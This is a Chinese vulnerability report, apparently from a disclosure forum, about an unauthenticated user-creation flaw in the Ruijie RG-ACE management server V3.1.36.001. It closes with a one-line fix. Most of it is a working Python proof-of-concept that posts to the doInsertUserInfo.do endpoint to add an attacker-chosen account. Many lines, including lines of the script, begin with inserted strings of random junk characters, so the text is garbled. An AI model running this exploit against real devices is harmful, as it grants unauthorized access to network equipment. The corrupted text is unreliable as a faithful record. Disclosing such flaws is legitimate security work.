锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


2 e2 N6 |% R5 L7 b测试的具体版本是
" L( a) T" v$ u/ a8 b% G" P3 B! Y产品名称: 锐捷应用控制引擎
4 D" u, Q: U3 N* J/ E/ d' p: m版本号: 3.1.36.001 TC
- {$ L6 _' [8 f* h' v, @2 B编译时间: 201104291730

* P1 l4 J3 J+ i- C6 N2 c; B% r
) W, }$ e9 H  E漏洞证明：
6 F! @1 p, k8 w$ l1 L5 d! o4 M




! k; G; q7 H+ B" l$ P
执行脚本
( J/ [. o  ^5 K# G4 }  b#! /usr/bin/env python
#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
5 K/ B1 ?/ v$ y1 c* Mopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, l* ^, a" g7 zpost=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
: i$ I9 I8 }) k- @6 B9 ~7 u("useropermanager","userManager"),
6 Y; b! I8 b- [! Q0 h("userName","t"), #######账号自己加
6 y/ m2 n- e. S: s7 `; h" L! Y("pwd","aaaaaa"),######密码自己加
9 k% O( t# f  t! N("trueName","ad"),
( x- i$ ]" Q6 X/ A. r  I("email",""),
, _& }$ C3 J+ p("mobilePhone",""),
+ V) S/ S$ x! p. r7 G( I("officePhone",""),
/ O2 f  C5 _" k  J' X6 M* j4 P2 M("addr",""),
. H9 q: K3 F9 I1 h& O  c0 S" R2 ?("submit","确定"))
urllib2.install_opener(opener)
3 n. z# T. |) w- lp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

登录，连接设备
% O3 n) i+ U: ^" n1 {


% C8 v& _- i( o6 [& r+ J; E- s
; N! H1 O2 q! ?1 N2 t" p
2 \3 P5 Y3 W- [3 X3 e+ U默认的管理员admin权限更大点

" b) M/ ?' \( a' J" a6 m
' h" f( t" s+ \( P) u, G
4 X8 d; [! f4 }

修复方案：
2 s( |/ n. ?9 k4 _6 J. X9 [, Z加强对接口的权限验证
2 P4 s) _! I' ~' G" U. _: }  h" T4 V& i
6 Y7 }2 ~3 n8 V7 U( R5 Y